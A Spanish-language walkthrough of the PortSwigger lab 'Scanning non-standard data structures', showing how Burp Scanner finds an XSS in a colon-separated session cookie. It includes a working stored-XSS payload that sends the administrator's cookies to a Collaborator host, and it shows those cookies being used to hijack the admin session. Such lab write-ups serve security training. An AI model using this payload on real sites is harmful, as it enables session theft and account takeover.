Scanning non-standard data structures
Laboratorio de Portswigger sobre Essential Skills
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad que es difícil de encontrar manualmente. Se encuentra en una estructura de datos no estándar. Para resolver el laboratorio, debemos usar la función Scan selected insertion point de Burp Scanner para identificar la vulnerabilidad, luego explotarla manualmente y eliminar al usuario carlos. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder a la web nos sale esto
Pulsamos en My account y nos logueamos con las credenciales wiener:peter
Recargamos con F5 y capturamos la petición con Burpsuite
El formato de la cookie es bastante extraño
1
session=wiener:zqEeGuTsB0x4zgTkv5Pl3BDpMbM4KYDL
Si la estructura de datos fuera estándar, es decir que tuviera un solo campo podríamos marcar todo el dato de forma completa de esta manera
1
session=zqEeGuTsB0x4zgTkv5Pl3BDpMbM4KYDL
Sin embargo, en este caso, parece que se trata de dos estructuras de datos diferentes. Por ello, no tendría sentido manejarlo de esta manera, ya que Burpsuite enviaría un único payload para toda la estructura. En estos casos, o cuando trabajamos con un JSON, lo mejor es enviar la petición al Intruder, establecer puntos de inserción (insertion points) en cada dato y escanear los valores de manera independiente y no como un único bloque. Cuando se abra la nueva ventana en Burp Intruder, debemos pulsar en OK y comenzará el escaneo
Si nos vamos a Dashboard veremos que nos ha detectado un XSS, aunque ponga audit finished necesitaremos esperar un poco más de tiempo para que nos muestre lo que ha encontrado
Este es el payload que vamos a usar ahora para obtener la cookie, debemos usar Burpsuite Collaborator para que nos mande ahí las peticiones
1
Cookie: session='"><svg/onload=fetch(`//ird4jrrnt2mjjytc1bdncj4v8mee24qt.oastify.com/${encodeURIComponent(document.cookie)}`)>:gzUjX1PEjSeUz0hi59YqWXwVpEiCHt9x
Para encodear el payload de la misma forma en la que está, debemos usar el inspector de Burpsuite, el cual se encargará de encodearlo de la misma forma en la que está el anterior
Una vez enviada la petición, nos llega esto a Burpsuite Collaborator
El inspector de Burpsuite lo decodea por nosotros y vemos que estas son las cookies del usuario administrator
1
/session=administrator:iwnc8XhMT4HzCj2ScdD2qDuwKRG7AJhD; secret=jPNSk5gKjLbTQaTMWbYl81pU2rTtXufm; session=administrator:iwnc8XhMT4HzCj2ScdD2qDuwKRG7AJhD
Nos vamos al navegador y pulsamos Ctrl + Shift + i y vemos que tenemos varios campos de cookies
Sustituimos los campos de cookies y pulsamos F5 para refrescar la web
Ya tenemos acceso al panel de administrador y podemos eliminar al usuario carlos
Vemos que hay una parte llamada View Logs, aquí es donde se ha producido el XSS debido a que el usuario administrator se encontraba revisándolo













